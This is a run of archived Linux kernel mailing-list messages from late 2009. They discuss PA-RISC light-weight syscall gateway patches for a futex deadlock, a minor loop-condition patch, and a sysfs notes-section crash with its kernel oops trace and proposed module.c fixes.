Op 27-12-09 16:30, James Bottomley schreef:
> On Sun, 2009-12-27 at 14:21 +0100, Roel Kluin wrote:
>> With `while (stepcount-- > 0)' stepcount reaches -1 after the loop.
> 
> This is true, but seems to be by design

>> -	if (stepcount > 0 || Sgl_iszero(opnd1)) {
>> +	if (stepcount >= 0 || Sgl_iszero(opnd1)) {

> 
> Your patch does nothing to the actual execution flow (Sgl_iszero is true
> if stepcount == 0) ... what's the point of applying it?
> 
> James

Ok, please ignore and thanks (also to Dave) for review.

Roel
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 28 Dec 2009 13:59:17 -0500
Organization: nrc.ca
Lines: 85
Approved: news@gmane.org
Message-ID: <20091228185916.GA13912@hiauly1.hia.nrc.ca>
References: <20091223221856.3E76F4E77@hiauly1.hia.nrc.ca> <119aab440912231822m4b2a9c30ja5e17404210e7e50@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="VbJkn9YxBvnuCH5J"
X-Trace: ger.gmane.org 1262026773 18773 80.91.229.12 (28 Dec 2009 18:59:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Dec 2009 18:59:33 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 28 19:59:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NPKoN-0003za-K1
	for glpp-linux-parisc@lo.gmane.org; Mon, 28 Dec 2009 19:59:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751074AbZL1S7Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Dec 2009 13:59:24 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751122AbZL1S7X
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 28 Dec 2009 13:59:23 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3890 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751074AbZL1S7X (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Dec 2009 13:59:23 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7CF6C4EA9; Mon, 28 Dec 2009 13:59:18 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <119aab440912231822m4b2a9c30ja5e17404210e7e50@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2524
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2524>


--VbJkn9YxBvnuCH5J
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Wed, 23 Dec 2009, Carlos O'Donell wrote:

> We are just like every other architecture... with the exception that
> we currently have more bugs :-)

I have been looking at the lws implementation.  I've attached a patch
with a couple of tweaks:

1) I changed the unconditional branch at the entry point to a gate.
Didn't think it was a good idea to execute code at user priveledge.
This seems to have improved things (got through a complete testsuite
run on gsyprf11 without a deadlock).  However, I hit a slightly
different lockup on c3750.

2) Change return space register to sr7.  sr3 is not set correctly
if the entry number is invalid.

Have nasty suspicion that sr3 is getting hit...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--VbJkn9YxBvnuCH5J
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="syscall.S.d.1"

--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -47,18 +47,17 @@ ENTRY(linux_gateway_page)
 	KILL_INSN
 	.endr
 
-	/* ADDRESS 0xb0 to 0xb4, lws uses 1 insns for entry */
+	/* ADDRESS 0xb0 to 0xb8, lws uses two insns for entry */
 	/* Light-weight-syscall entry must always be located at 0xb0 */
 	/* WARNING: Keep this number updated with table size changes */
 #define __NR_lws_entries (2)
 
 lws_entry:
-	/* Unconditional branch to lws_start, located on the 
-	   same gateway page */
-	b,n	lws_start
+	gate	lws_start, %r0		/* increase privilege */
+	depi	3, 31, 2, %r31		/* Ensure we return into user mode. */
 
-	/* Fill from 0xb4 to 0xe0 */
-	.rept 11
+	/* Fill from 0xb8 to 0xe0 */
+	.rept 10
 	KILL_INSN
 	.endr
 
@@ -423,9 +422,6 @@ tracesys_sigexit:
 
 	*********************************************************/
 lws_start:
-	/* Gate and ensure we return to userspace */
-	gate	.+8, %r0
-	depi	3, 31, 2, %r31	/* Ensure we return to userspace */
 
 #ifdef CONFIG_64BIT
 	/* FIXME: If we are a 64-bit kernel just
@@ -473,7 +469,7 @@ lws_exit:
 	/* now reset the lowest bit of sp if it was set */
 	xor	%r30,%r1,%r30
 #endif
-	be,n	0(%sr3, %r31)
+	be,n	0(%sr7, %r31)
 
 
 	

--VbJkn9YxBvnuCH5J--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Tue, 29 Dec 2009 14:47:53 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <4B3A0889.7030701@gmx.de>
References: <20091223221856.3E76F4E77@hiauly1.hia.nrc.ca> <119aab440912231822m4b2a9c30ja5e17404210e7e50@mail.gmail.com> <20091228185916.GA13912@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262094489 11627 80.91.229.12 (29 Dec 2009 13:48:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Dec 2009 13:48:09 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 29 14:48:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NPcQY-0003cA-Ob
	for glpp-linux-parisc@lo.gmane.org; Tue, 29 Dec 2009 14:47:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751618AbZL2Nr6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Dec 2009 08:47:58 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751630AbZL2Nr6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 29 Dec 2009 08:47:58 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:46570 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751612AbZL2Nr6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Dec 2009 08:47:58 -0500
Original-Received: (qmail invoked by alias); 29 Dec 2009 13:47:56 -0000
Original-Received: from p4FDB290B.dip0.t-ipconnect.de (EHLO halden.box) [79.219.41.11]
  by mail.gmx.net (mp070) with SMTP; 29 Dec 2009 14:47:56 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+vlYFp2wKvoV6xEResWg3qNGkjXQo+KCV9ldBWPO
	yCn3tkPspv1Hjn
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091209 Fedora/3.0-3.fc11 Lightning/1.0pre Thunderbird/3.0
In-Reply-To: <20091228185916.GA13912@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.63
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2525
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2525>

On 12/28/2009 07:59 PM, John David Anglin wrote:
> On Wed, 23 Dec 2009, Carlos O'Donell wrote:
>
>> We are just like every other architecture... with the exception that
>> we currently have more bugs :-)
>
> I have been looking at the lws implementation.  I've attached a patch
> with a couple of tweaks:

The patch looks good.

> 1) I changed the unconditional branch at the entry point to a gate.
> Didn't think it was a good idea to execute code at user priveledge.

Can you explain that?
The branch might get interrupted, before the process get privileged?

> This seems to have improved things (got through a complete testsuite
> run on gsyprf11 without a deadlock).

Good. I'll test too.

>However, I hit a slightly different lockup on c3750.

Any info?

> 2) Change return space register to sr7.  sr3 is not set correctly
> if the entry number is invalid.

Yep.

> Have nasty suspicion that sr3 is getting hit...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Tue, 29 Dec 2009 10:00:26 -0500 (EST)
Lines: 48
Approved: news@gmane.org
Message-ID: <20091229150027.317D74FEF@hiauly1.hia.nrc.ca>
References: <4B3A0889.7030701@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262098841 24280 80.91.229.12 (29 Dec 2009 15:00:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Dec 2009 15:00:41 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 29 16:00:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NPdYl-00057L-JG
	for glpp-linux-parisc@lo.gmane.org; Tue, 29 Dec 2009 16:00:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752383AbZL2PA3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Dec 2009 10:00:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752397AbZL2PA3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 29 Dec 2009 10:00:29 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3956 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752383AbZL2PA2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Dec 2009 10:00:28 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 317D74FEF; Tue, 29 Dec 2009 10:00:26 -0500 (EST)
In-Reply-To: <4B3A0889.7030701@gmx.de> from "Helge Deller" at Dec 29, 2009 02:47:53 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2526
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2526>

> The patch looks good.
> 
> > 1) I changed the unconditional branch at the entry point to a gate.
> > Didn't think it was a good idea to execute code at user priveledge.
> 
> Can you explain that?

Not really, except that we gate immediately in the other code paths.
The gateway page is special in that processes are not supposed to get
scheduled off the page.

> The branch might get interrupted, before the process get privileged?

That was the concern.  At worst, an unnecessary branch is eliminated.
It's clear that this doesn't fix the futex deadlock, but the timing of
the lws lock code has changed resulting in slightly different symptoms.

> > This seems to have improved things (got through a complete testsuite
> > run on gsyprf11 without a deadlock).
> 
> Good. I'll test too.
> 
> >However, I hit a slightly different lockup on c3750.
> 
> Any info?

No, I restarted a new GCC build on this machine.  As with the previous
case on gsyprf11, thread 2 in expect seemed confused about its holding
the lock.  I've got a new hang on gsyprf11 to look at.

In my build last night on the c3750, expect dropped core in the GCC
testsuite.  Otherwise, it completed the GCC build and check.  I'll
look a bit at the core dump today.

On my rp3440 (UP kernel), I had several segmentation faults in /bin/sh
building GCC with 2.6.32.2.  For some reason, 2.6.31.9 is better.  I
haven't tried expect 5.44.1.14-5 on it.  It currently using expect-tcl8.3
which avoids the pthread issue.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 30 Dec 2009 18:49:41 +0800
Lines: 20
Approved: news@gmane.org
Message-ID: <4B3B3045.1000609@tausq.org>
References: <20091229150027.317D74FEF@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262170199 9694 80.91.229.12 (30 Dec 2009 10:49:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 30 Dec 2009 10:49:59 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, dave.anglin@nrc-cnrc.gc.ca,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 30 11:49:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NPw7h-0001Ip-Q7
	for glpp-linux-parisc@lo.gmane.org; Wed, 30 Dec 2009 11:49:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752569AbZL3Ktt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 30 Dec 2009 05:49:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752597AbZL3Ktt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 30 Dec 2009 05:49:49 -0500
Original-Received: from mail-pz0-f171.google.com ([209.85.222.171]:36821 "EHLO
	mail-pz0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752569AbZL3Ktt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 30 Dec 2009 05:49:49 -0500
Original-Received: by pzk1 with SMTP id 1so39310pzk.33
        for <linux-parisc@vger.kernel.org>; Wed, 30 Dec 2009 02:49:48 -0800 (PST)
Original-Received: by 10.142.247.39 with SMTP id u39mr385773wfh.100.1262170187918;
        Wed, 30 Dec 2009 02:49:47 -0800 (PST)
Original-Received: from ?192.168.100.52? (stlglobal.com [118.142.45.178])
        by mx.google.com with ESMTPS id 21sm13403115pzk.11.2009.12.30.02.49.44
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Wed, 30 Dec 2009 02:49:46 -0800 (PST)
User-Agent: Thunderbird 2.0.0.23 (Windows/20090812)
In-Reply-To: <20091229150027.317D74FEF@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2527
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2527>

> Not really, except that we gate immediately in the other code paths.
> The gateway page is special in that processes are not supposed to get
> scheduled off the page.
> 
>> The branch might get interrupted, before the process get privileged?
> 
> That was the concern.  At worst, an unnecessary branch is eliminated.
> It's clear that this doesn't fix the futex deadlock, but the timing of
> the lws lock code has changed resulting in slightly different symptoms.

IIRC we had to move the gate in the regular syscall path earlier as well 
to fix some security problems before. I don't recall the exact details, 
but I seem to recall it had to do with using ptrace(SINGLESTEP).

randolph
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.wireless.general,gmane.linux.ports.arm.omap,gmane.linux.ports.parisc
Subject: Re: regression: crash from 'ls /sys/modules/wl1251_spi/notes'
Date: Wed, 30 Dec 2009 09:49:17 -0600
Lines: 283
Approved: news@gmane.org
Message-ID: <1262188157.2749.21.camel@mulgrave.site>
References: <87k4w4wux9.fsf@purkki.valot.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262188188 30576 80.91.229.12 (30 Dec 2009 15:49:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 30 Dec 2009 15:49:48 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-wireless@vger.kernel.org,
	linux-omap@vger.kernel.org, Helge Deller <deller@gmx.de>,
	rusty@rustcorp.com.au, akpm@linux-foundation.org,
	roland@redhat.com, dave@hiauly1.hia.nrc.ca,
	Parisc List <linux-parisc@vger.kernel.org>
To: Kalle Valo <kalle.valo@iki.fi>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1752258AbZL3Pt0@vger.kernel.org Wed Dec 30 16:49:38 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1752258AbZL3Pt0@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NQ0nq-0005N1-8m
	for glk-linux-kernel-3@lo.gmane.org; Wed, 30 Dec 2009 16:49:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752258AbZL3Pt0 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 30 Dec 2009 10:49:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751725AbZL3PtZ
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Wed, 30 Dec 2009 10:49:25 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:46166 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751529AbZL3PtY (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 30 Dec 2009 10:49:24 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id F01E28EE0E7;
	Wed, 30 Dec 2009 07:49:23 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id EN0nnTjaf2LL; Wed, 30 Dec 2009 07:49:23 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D8C088EE0DC;
	Wed, 30 Dec 2009 07:49:20 -0800 (PST)
In-Reply-To: <87k4w4wux9.fsf@purkki.valot.fi>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:932952 gmane.linux.kernel.wireless.general:44979 gmane.linux.ports.arm.omap:28937 gmane.linux.ports.parisc:2528
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2528>

On Wed, 2009-12-30 at 13:41 +0200, Kalle Valo wrote:
> Hello,
> 
> I noticed weird crashes related to wl1251_spi notes sysfs directory
> with current wireless-testing (2.6.33-rc2 plus some wireless patches).
> The simplest way to reproduce the problem is to do this on a nokia n900
> (arm/omap 3430):
> 
> # ls /sys/module/wl1251_spi/notes/
> [ 4776.503234] Unable to handle kernel NULL pointer dereference at
> virtual address 00000000
> [ 4776.511596] pgd = cce88000
> [ 4776.514343] [00000000] *pgd=8f04a031, *pte=00000000, *ppte=00000000
> [ 4776.520812] Internal error: Oops: 17 [#1]
> [ 4776.524871] last sysfs file: /sys/class/net/wlan0/flags
> [ 4776.530151] Modules linked in: wl1251_spi wl1251 mac80211 cfg80211
> [ 4776.536468] CPU: 0    Not tainted  (2.6.33-rc2-wl-47091-g981eb84
> #12)
> [ 4776.542999] PC is at strlen+0xc/0x20
> [ 4776.546630] LR is at sysfs_readdir+0x15c/0x1e0
> [ 4776.551116] pc : [<c01476ac>]    lr : [<c00f5e6c>]    psr: a0000013
> [ 4776.551147] sp : cce87f28  ip : 22222222  fp : be99961c
> [ 4776.562744] r10: cce87f80  r9 : 00000000  r8 : 00000000
> [ 4776.568023] r7 : c00b9540  r6 : cce87f80  r5 : ccec4458  r4 :
> ce808980
> [ 4776.574615] r3 : 00000000  r2 : 00000002  r1 : 22222222  r0 :
> 00000000
> [ 4776.581207] Flags: NzCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM
> Segment user
> [ 4776.588409] Control: 10c5387d  Table: 8ce88019  DAC: 00000015
> [ 4776.594238] Process ls (pid: 1148, stack limit = 0xcce862e8)
> [ 4776.599945] Stack: (0xcce87f28 to 0xcce88000)
> [ 4776.604370] 7f20:                   00000001 00000000 00000e16
> 00000000 00000004 22222222
> [ 4776.612640] 7f40: ce808980 ce808980 cf79e34c c00b9540 00000000
> cf79e2b8 cce86000 c00b982c
> [ 4776.620910] 7f60: 00000001 00000000 00001000 000690d0 ce808980
> c002bae4 00000000 c00b98c4
> [ 4776.629180] 7f80: 00069100 000690e8 00000fd0 ffffffea 00000000
> 00000000 00000000 00000000
> [ 4776.637451] 7fa0: 000000d9 c002b940 00000000 00000000 00000003
> 000690d0 00001000 00000000
> [ 4776.645721] 7fc0: 00000000 00000000 00000000 000000d9 000690c8
> 00000001 00000000 be99961c
> [ 4776.654022] 7fe0: 400ef954 be999614 400efa10 400ef908 60000010
> 00000003 80c69021 80c69421
> [ 4776.662292] [<c01476ac>] (strlen+0xc/0x20) from [<c00f5e6c>]
> (sysfs_readdir+0x15c/0x1e0)
> [ 4776.670501] [<c00f5e6c>] (sysfs_readdir+0x15c/0x1e0) from
> [<c00b982c>] (vfs_readdir+0x80/0xb4)
> [ 4776.679229] [<c00b982c>] (vfs_readdir+0x80/0xb4) from [<c00b98c4>]
> (sys_getdents64+0x64/0xb4)
> [ 4776.687866] [<c00b98c4>] (sys_getdents64+0x64/0xb4) from
> [<c002b940>] (ret_fast_syscall+0x0/0x38)
> [ 4776.696838] Code: c027700c e1a03000 ea000000 e2833001 (e5d32000) 
> [ 4776.703063] ---[ end trace 6a3b0fdf4e9def99 ]---
> [ 4776.707794] Kernel panic - not syncing: Fatal exception

> Also removing wl1251_spi causes a crash. The reason for this is that a
> sysfs file with a null string as name is trying to be removed from the
> notes directory.

Yes, this is because the notes sections describe the text sections.
When we ignore an empty text section, we'd need to ignore its
corresponding notes section.

The reason we didn't see this on parisc is because our compiler doesn't
actually produce any notes sections.

> I found out that reverting this patch solves the problem:
> 
>   commit 35dead4235e2b67da7275b4122fed37099c2f462
>   Author: Helge Deller <deller@gmx.de>
>   Date:   Thu Dec 3 00:29:15 2009 +0100
> 
>     modules: don't export section names of empty sections via sysfs
>     
>     On the parisc architecture we face for each and every loaded
>     kernel module this kernel "badness warning":
> 
>       sysfs: cannot create duplicate filename
>     '/module/ac97_bus/sections/.text'
>       Badness at fs/sysfs/dir.c:487
>     
>     Reason for that is, that on parisc all kernel modules do have
>     multiple .text sections due to the usage of the
>     -ffunction-sections compiler flag which is needed to reach all
>     jump targets on this platform.
> 
>     An objdump on such a kernel module gives:
>     Sections:
>     Idx Name          Size      VMA       LMA       File off  Algn
>       0 .note.gnu.build-id 00000024  00000000  00000000  00000034
>     2**2
>                       CONTENTS, ALLOC, LOAD, READONLY, DATA
>       1 .text         00000000  00000000  00000000  00000058  2**0
>                       CONTENTS, ALLOC, LOAD, READONLY, CODE
>       2 .text.ac97_bus_match 0000001c  00000000  00000000  00000058
>     2**2
>                       CONTENTS, ALLOC, LOAD, READONLY, CODE
>       3 .text         00000000  00000000  00000000  000000d4  2**0
>                       CONTENTS, ALLOC, LOAD, READONLY, CODE
>     ...
>     Since the .text sections are empty (size of 0 bytes) and won't be
>     loaded by the kernel module loader anyway, I don't see a reason
>     why such sections need to be listed under
>     /sys/module/<module_name>/sections/<section_name> either.
>     
>     The attached patch does solve this issue by not exporting section
>     names which are empty.
>     
>     This fixes bugzilla
>     http://bugzilla.kernel.org/show_bug.cgi?id=14703
>     
>     Signed-off-by: Helge Deller <deller@gmx.de>
>     CC: rusty@rustcorp.com.au
>     CC: akpm@linux-foundation.org
>     CC: James.Bottomley@HansenPartnership.com
>     CC: roland@redhat.com
>     CC: dave@hiauly1.hia.nrc.ca
>     Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
> 
> I was also able to reproduce the problem with vanilla 2.6.32. I'm
> pretty sure (but haven't tested) that 2.6.32-rc8 does not have this
> problem.
> 
> My original mail containing more info:
> 
> http://www.spinics.net/lists/linux-wireless/msg44863.html
> 
> Simple bandaid patch below fixes the problem. I know it's not a proper
> solution, but hopefully makes it easier to understand the problem.
> Unfortunately my knowledge about ELF is too limited to fix this
> properly, but I can provide more information as needed. Or even try to
> fix it myself if someone else holds my hand :)
> 
> --- a/kernel/module.c
> +++ b/kernel/module.c
> @@ -1189,10 +1189,13 @@ static void add_notes_attrs(struct module
> *mod, unsigned int nsect,
>         if (!notes_attrs->dir)
>                 goto out;
>  
> -       for (i = 0; i < notes; ++i)
> +       for (i = 0; i < notes; ++i) {
> +               if (WARN_ON(!notes_attrs->attrs[i].attr.name))
> +                       continue;
>                 if (sysfs_create_bin_file(notes_attrs->dir,
>                                           &notes_attrs->attrs[i]))
>                         goto out;
> +       }
>  
>         mod->notes_attrs = notes_attrs;
>         return;

A better, and more comprehensive patch would be to try not to count the
empty text sections when we're building the notes section (and actually
anywhere else in the file).  This patch actually relies on the fact that
if sh_size is zero for the text section it should be for the
corresponding notes section.  If that doesn't work, we'd actually have
to do the matching in the construction piece.

Can you try it to see if it works for you?  If it doesn't, I'll try
matching notes to text.  It works fine on parisc, but as we don't have a
notes section, that's not saying much ...

Thanks,

James

---

diff --git a/kernel/module.c b/kernel/module.c
index e96b8ed..957f912 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -132,6 +132,11 @@ void __module_put_and_exit(struct module *mod, long code)
 }
 EXPORT_SYMBOL(__module_put_and_exit);
 
+static inline int section_allocated(Elf_Shdr hdr)
+{
+	return (hdr.sh_flags & SHF_ALLOC) && hdr.sh_size != 0;
+}
+
 /* Find a module section: 0 means not found. */
 static unsigned int find_sec(Elf_Ehdr *hdr,
 			     Elf_Shdr *sechdrs,
@@ -142,7 +147,7 @@ static unsigned int find_sec(Elf_Ehdr *hdr,
 
 	for (i = 1; i < hdr->e_shnum; i++)
 		/* Alloc bit cleared means "ignore it." */
-		if ((sechdrs[i].sh_flags & SHF_ALLOC)
+		if (section_allocated(sechdrs[i])
